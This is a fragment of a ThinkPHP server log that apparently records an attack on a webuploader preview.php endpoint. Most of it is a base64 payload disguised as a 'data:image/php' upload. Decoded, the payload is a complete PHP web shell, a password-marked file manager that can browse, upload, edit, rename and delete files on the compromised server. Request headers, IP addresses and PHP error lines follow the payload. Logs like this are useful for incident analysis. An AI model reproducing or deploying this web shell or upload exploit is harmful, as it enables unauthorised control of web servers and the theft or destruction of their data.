'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:00+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/static/webuploader/0.1.15/server/preview.php [运行时间:0.002706s] [吞吐率:369.54req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 